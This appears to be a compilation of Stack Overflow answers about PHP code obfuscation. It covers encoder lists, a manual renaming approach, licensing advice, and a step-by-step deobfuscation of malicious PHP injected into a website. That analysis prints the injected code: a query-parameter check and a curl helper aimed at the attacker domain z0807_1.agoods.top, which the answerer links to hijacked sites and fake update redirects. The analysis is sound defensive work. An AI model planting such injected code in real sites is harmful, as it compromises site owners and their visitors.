Is There a Code Obfuscator For PHP

Obfuscate PHP code

I put together the following list a ways back - don't know if they are all current, or how many are now free, but you should find something useful here:

About:

  1. Wikipedia article: PHP Accelerator
  2. Comparison of APC, Zend, xCache, & the Zend Framework

Software:

  1. Safeyar (Best)
  2. PHP's APC (PECL page)
  3. RoadSend
  4. Turck-mmcache
  5. eAccelerator
  6. PHP-Accelerator
  7. SourceGuardian
  8. NuSphere Nu-coder
  9. Gridinsoft
  10. IonCube SA-Encoder.php

Another thread on SO that adds a few more (check it out):

Can I encrypt PHP source or compile it so others can't see it? and how?

  1. Zend Guard
  2. BCompiler (PECL page)
  3. PHC

PHP Code obfuscation

There's a bunch of PHP obfuscators. Probably several of them can do something like this.

Our Thicket PHP Obfuscator will obfuscate literal strings exactly this way, and will preserve system function identifiers such as "session_start" in this fashion, so it could be ours.

Minify / Obfuscate PHP Code

I agree with the comment, what you are doing is very underhanded, but after 10 years in this biz I can attest to one thing: Half the code you get is so convoluted it might as well have been minified, and really function/var names are so often completely arbitrary, i've edited minified js and it wasn't much more of a hassle than some unminified code.

I couldn't find any such script/program, most likely because this is kind of against the PHP spirit and a bit underhanded, never the less.

First: Php isn't white space sensitive, so step one is to remove all newlines and whitespace outside of string.

That would make it difficult to mess with for the average tinkerer, an intermediate programmer would just find and replace all ;{} with $1\n or something to that effect.

The next step would be to get_defined_functions and save that array (The 'user' key in the returned array), you'll need to include all of the files to do this.

If it's oo code, you'll need get_defined_classes as well. Save that array.

Essentially, you need to get the variables, methods, and class instances, you'll have to instantiate the class and get_object_vars on it, and you can poke around and see that you can get alot of other info, like Constants and class vars etc.

Then you take those lists, loop through them, create a unique name for each thing, and then preg_replace, or str_replace that in all of the files.

Make sure you do this on a test copy, and see what errors you get.

Though, just to be clear, there is a special place in hell reserved for people who obfuscate for obfuscation's sake.

Check out: get_defined_functions get_declared_classes and just follow the links around to see what you can do.

Is PHP obfuscation necessary at all?

It's designed to obfuscate distributed PHP code. For example, say you're selling a forum system but offer a free trial. If someone can just go in and disable the payment check, then what's the point of selling it?

How to deobfuscate a PHP code that is written as below?

You can unravel this step by step.

There is this $OOOOOO string which then URL-decoded into $O, which yields the following (which looks like going through the keyboard row by row):

$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";

From then on, in many places characters of this string are accessed (using the lesser-known and by now also deprecated braces syntax for array index access) and used to build new strings. We can replace all these $O{x} bits with the actual characters (I used a regex replace):


if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
$oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
echo "["."o"."k"."!"."]";
exit;
}else{
echo "["."f"."a"."i"."l"."!"."]";
exit;
}
}

$oOooOO='z0807_1';
$oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p";
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
$ooooOOOooOo=curl_init();
curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
curl_close($ooooOOOooOo);
return $oooooOOOOooO;
}

We can then combine those strings to make them more readable:


if($_GET["chen"]=="51-cn"){
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
$oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}

$oOooOO='z0807_1';
$oOooOOoO="http://".$oOooOO.".agoods.top";
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
$ooooOOOooOo=curl_init();
curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
curl_close($ooooOOOooOo);
return $oooooOOOOooO;
}

Now let's rename the confusing variables:


if($_GET["chen"]=="51-cn"){
$varA = file_get_contents(__FILE__);
$varB = explode("<?php",$varA);
if(strpos($varB[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top";
function someFunction($varE){
$varF=curl_init();
curl_setopt ($varF, CURLOPT_URL, $varE);curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);$varG = curl_exec($varF);
curl_close($varF);
return $varG;
}

Next, let's split up the long line inside of the function:

if($_GET["chen"]=="51-cn"){
$varA = file_get_contents(__FILE__);
$varB = explode("<?php",$varA);
if(strpos($varB[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top";
function someFunction($varE){
$varF=curl_init();
curl_setopt ($varF, CURLOPT_URL, $varE);
curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);
$varG = curl_exec($varF);
curl_close($varF);
return $varG;
}

As a final step, we can guess better names for those variables:

if($_GET["chen"]=="51-cn"){
$thisFileSource = file_get_contents(__FILE__);
$parts = explode("<?php",$thisFileSource);
if(strpos($parts[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}

$subdomain='z0807_1';
$url="http://".$subdomain.".agoods.top";
function sendRequest($url){
$curl=curl_init();
curl_setopt ($curl, CURLOPT_URL, $url);
curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}

As for what this code does: If this is called with query parameter chen=51-cn in the URL, it checks if the current file contains the start of that $OOOOOO string in the first PHP code section, and if it does, it returns [ok!], otherwise [fail!]. (This sounds entirely useless to me, because if the code wouldn't exist, then it wouldn't run either, so just echo "[ok!]"; would have sufficed...) Additionally, it prepares a request to http://z0807_1.agoods.top but it's never executed, at least not in the piece of code that you showed. (Maybe it's executed elsewhere in your code at some other place where code got injected too! Could be worth looking for ooooooooOOOOOOOOoooooOOO.)

Googling for "agoods.top" reveals a lot of seemingly unrelated sites that include in their contents what appears to be various PHP errors like Warning: mysqli::__construct(): (HY000/1040): Too many connections in /www/wwwroot/z0930_1.agoods.top/connect2.php on line 7. (How ironic, given that in the injected code, error output is suppressed.) Browsing these sites (which I did with a lot of care, so you don't have to!) shows that some of them act maliciously, for example redirecting the user to a fake "browser update" page after a few seconds, and many are just down by now. This makes me believe that those are also hijacked sites, and that the code was supposed to eventually pull HTML from the attacker's sites on zXXXX_X.agoods.top and inject it into the page, but the attacker messed up and also delivered PHP errors that way which ended up in Google's cache.

PHP How secure is the code after encoding? What about obfuscation?

After PHP code is encoded using a third-party encoder (IonCube, Zend Guard). What about using reflection with the encoder? Doesn't that give a lot of the code away?

It's more nuanced than that. The public code (function names, global variables, etc) that are designed to be interacted will all be public.

As far as using reflection, it's not that hard to disable reflection for an internal function/class (which is what they would do). This wouldn't necessarily error, but it could return garbage. Since the encoders have access to C, assume they can do anything they want.

Well, not anything. At some point, the code still needs to be executed. And to be executed, it needs to have an opcode array. The opcode array lists every operation in every function.

And since reversing from opcodes into PHP code isn't difficult, encoders are basically little more than obfuscators once run in a valid environment.

The value-add that an encoder can do is encrypting the opcode so that you can't run it on a non-licensed server. But once you can run the code you can do whatever you want with it.

Code encoded with older versions is bound to be cracked at some point.

No. Code with all versions can be cracked. All it needs is the ability to be executed.

My solution was to encode the code AFTER having it obfuscated (custom written obfuscator). Everything is minified into a single file and obfuscated. Anything beyond the native PHP functions/variables is gibberish.

That's exactly what the encoder does anyway. Except for the public code (designed to be interacted with or extended by developers), the rest is just pointers. All naming information is lost. So obfuscating it yourself isn't necessary.

So, how would you rate the safety of the code? Is obfuscation worth it?

The question you haven't answered is who you are trying to protect the code from.

Are you concerned about someone using your code unlicensed? If so, no encoder can protect you. Because all the user needs to do is dump the opcodes and they can have the code (without variable names, but they don't need that to run it). It's not as trivial as that, but it's 100% doable.

Are you concerned about someone modifying your code? Well, they can get the code anyway... So...

Are you concerned about someone looking into the code to find things? Like security vulnerabilities? Well, they can do that anyway. And trying to obfuscate it is not going to help.

Are you concerned about the average user making modifications? Then encoding will prevent that.

If not, are there any alternatives?

The alternative is licensing. You don't need to hide the code to protect it. License it under a restrictive commercial license. And use the legal system to go after anyone who steals or breaks the license. This is about the only effective way of protecting software.

What would you consider an optimal solution?

Not encoding, that much I can tell you :-)



Related Topics



Leave a reply



Submit